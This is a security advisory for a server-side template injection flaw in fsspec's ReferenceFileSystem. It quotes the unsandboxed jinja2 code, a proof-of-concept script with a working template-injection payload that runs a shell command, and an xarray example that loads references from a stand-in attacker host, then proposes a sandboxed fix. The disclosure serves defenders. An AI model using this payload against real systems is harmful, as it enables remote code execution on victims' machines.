Vulnerability GHSA-27vj-qcqg-25rc

High Risk
HIGH RISK
CVSS Score: 8.8
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
8 hours ago
October 05, 2026 at 10:53 PM UTC
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
0.9.0 - 2026.4.0
0.9.0 - 2026.4.0

Summary

fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution

Details

Summary

fsspec.implementations.reference.ReferenceFileSystem parses a "references" JSON document (Kerchunk format) supplied either inline or via a URL. The parser renders fields from this JSON through un-sandboxed jinja2.Template(...).render(...) calls in three locations. An attacker who controls the JSON document — typically by hosting it at a URL that the victim opens with fsspec.filesystem("reference", fo=URL) or via xarray.open_dataset("reference://...") — achieves arbitrary Python code execution on the victim machine, before any data is read.

This mirrors the pattern of CVE-2024-34359 in llama-cpp-python, where externally-sourced template strings were rendered with the default unrestricted Jinja2 environment.

Affected versions

All versions of fsspec from 0.9.0 onward (vulnerable code introduced in commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on the latest released version 2025.10.0.

Affected sinks

All in fsspec/implementations/reference.py:

Sink Location Trigger
A — _process_references1._render_jinja lines 1016-1018 simple_templates=False and a refs entry contains {{
B — _process_templates (lambda) lines 1043-1053 templates dict has values containing {{, invoked later via render context
C — _process_gen lines 1075-1083 references JSON contains a gen array (always reached, regardless of simple_templates)

Sink C is the most severe: it is reached unconditionally for any references JSON that includes a gen field.

The vulnerable code:

# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
    return jinja2.Template(u).render(**self.templates)  # <- unsandboxed

# Sink B
def _process_templates(self, tmp):
    ...
    for k, v in tmp.items():
        if "{{" in v:
            import jinja2
            self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
                temp                                       # <- unsandboxed
            ).render(**kwargs)

# Sink C
def _process_gen(self, gens):
    ...
    for pr in products:
        import jinja2
        key = jinja2.Template(gen["key"]).render(**pr, **self.templates)        # <- unsandboxed
        url = jinja2.Template(gen["url"]).render(**pr, **self.templates)        # <- unsandboxed
        if ("offset" in gen) and ("length" in gen):
            offset = int(jinja2.Template(gen["offset"]).render(...))            # <- unsandboxed
            length = int(jinja2.Template(gen["length"]).render(...))            # <- unsandboxed

Proof of concept (Sink C, minimal)

Save as poc.py:

import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path

PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
    "version": 1, "templates": {}, "refs": {"x": "x"},
    "gen": [{
        "key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
        "offset": "0", "length": "0", "dimensions": {"i": [0]},
    }],
}

body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(body)
    def log_message(self, *a, **kw): pass

srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"

for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
    fsspec.filesystem("reference", fo=url)
except Exception as e:
    print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))

Run:

pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]

End-to-end via xarray (real-world consumer pathway)

import xarray as xr
ds = xr.open_dataset(
    "reference://",
    engine="zarr",
    backend_kwargs={
        "consolidated": False,
        "storage_options": {
            "fo": "http://attacker.example/refs.json",
            "remote_protocol": "http",
        },
    },
)
# RCE fires before any data is materialised.

Tested on

  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.9, macOS 14
  • fsspec 2025.10.0, jinja2 3.1.6, Python 3.12-slim, Docker Linux

Impact

fsspec.ReferenceFileSystem is the canonical entrypoint for the Kerchunk format, widely used in the Pangeo / Earth-observation / climate data-science ecosystem to provide cloud-optimised views of HDF5 / NetCDF / GRIB archives hosted on object storage.

Realistic attack vectors:

  • A user opens a community-shared Kerchunk catalogue link via xarray/dask.
  • A managed data-science platform (notebook server, batch job runner) ingests user-submitted Kerchunk URLs.
  • A workflow downloads a catalogue from a bucket whose contents have been tampered with (supply chain).

In every case, the victim performs no action beyond opening a "reference filesystem" — there is no documented expectation that a data catalogue can execute arbitrary Python code.

Suggested fix

Replace jinja2.Template(...) with a shared jinja2.sandbox.ImmutableSandboxedEnvironment for all three sinks. This matches the post-incident hardening applied to llama-cpp-python after CVE-2024-34359.

# At module top
def _sandboxed_env():
    import jinja2.sandbox
    env = getattr(_sandboxed_env, "_env", None)
    if env is None:
        env = jinja2.sandbox.ImmutableSandboxedEnvironment()
        _sandboxed_env._env = env
    return env

Then in each sink, replace jinja2.Template(s).render(...) with _sandboxed_env().from_string(s).render(...).

The legitimate Kerchunk template syntax (simple variable substitution like {{ varname }}) continues to work under the sandbox; only the SSTI gadgets (__class__, __init__.__globals__, __subclasses__, etc.) are refused with jinja2.exceptions.SecurityError.

A complete patch is available on request.

Credit

Reported by Dany.A

Impacted packages

Timeline

Published
8 hours ago
October 05, 2026 at 10:53 PM UTC
Fixed (2026.6.0)
3 months ago
June 16, 2026 at 01:57 AM UTC
Last Modified
8 hours ago
October 05, 2026 at 11:00 PM UTC